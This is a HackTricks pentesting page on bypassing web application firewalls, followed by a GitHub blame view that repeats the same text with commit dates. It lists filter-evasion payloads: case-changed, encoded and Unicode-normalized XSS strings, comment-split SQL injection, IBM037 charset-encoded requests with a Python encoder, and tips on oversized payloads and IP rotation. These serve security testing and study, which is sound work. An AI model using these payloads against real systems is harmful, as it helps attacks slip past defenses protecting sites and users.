hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

# WAF Bypass

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).

```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks 
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```

## Charset Encoding

```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037"))) 

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```

## Obfuscation

```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```

## Unicode Compatability

Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode)

### Example

```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```

## Exceeding Size Limitations

It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.

### IP Rotation

* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								# WAF Bypass
 								<details>
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								Other ways to support HackTricks:
 								* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-												GitBook: [#3668] No subject

											
										
										
											2022-12-03 17:35:56 +00:00
+								* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 								* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
 								* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								</details>
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								## Regex Bypasses
-												GITBOOK-4208: change request with no subject merged in GitBook

											
										
										
											2023-12-24 18:15:27 +00:00
 								Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								```bash
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 								<<script>alert(XSS)</script> #prepending an additional "<"
 								<script>alert(XSS) // #removing the closing tag
 								<script>alert`XSS`</script> #using backticks instead of parenetheses
 								java%0ascript:alert(1) #using encoded newline characters
 								<iframe src=http://malicous.com < #double open angle brackets
 								<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
 								<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
 								<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
 								Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
 								javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
 								<iframe src="javascript:alert(`xss`)"> #unicode encoding
 								/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
 								new Function`alt\`6\``; #using backticks instead of parentheses
 								data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
 								%26%2397;lert(1) #using HTML encoding
 								<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 								<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 								```
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								## Charset Encoding
 								```bash
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								# Charset encoding
 								application/x-www-form-urlencoded;charset=ibm037
 								multipart/form-data; charset=ibm037,boundary=blah
 								multipart/form-data; boundary=blah; charset=ibm037
 								##Python code
 								import urllib
 								s = 'payload'
-												Syntax misatake
											
										
										
											2022-11-28 12:31:33 +00:00
+								print(urllib.parse.quote_plus(s.encode("IBM037")))
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								## Request example
 								GET / HTTP/1.1
 								Host: buggy
 								Content-Type: application/x-www-form-urlencoded; charset=ibm500
 								Content-Length: 61
 								%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
 								```
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								## Obfuscation
 								```bash
 								# IIS, ASP Clasic
 								<%s%cr%u0131pt> == <script>
 								# Path blacklist bypass - Tomcat
 								/path1/path2/ == ;/path1;foo/path2;bar/;
 								```
 								## Unicode Compatability
-												GITBOOK-4208: change request with no subject merged in GitBook

											
										
										
											2023-12-24 18:15:27 +00:00
 								Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode)
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
 								### Example
 								```bash
 								# under the NFKD normalization algorithm, the characters on the left translate
 								# to the XSS payload on the right
 								＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 								```
 								## Exceeding Size Limitations
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
-												GITBOOK-4208: change request with no subject merged in GitBook

											
										
										
											2023-12-24 18:15:27 +00:00
+								### IP Rotation
 								* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								<details>
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								Other ways to support HackTricks:
 								* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-												GitBook: [#3668] No subject

											
										
										
											2022-12-03 17:35:56 +00:00
+								* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
+								* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 								* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
 								* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								</details>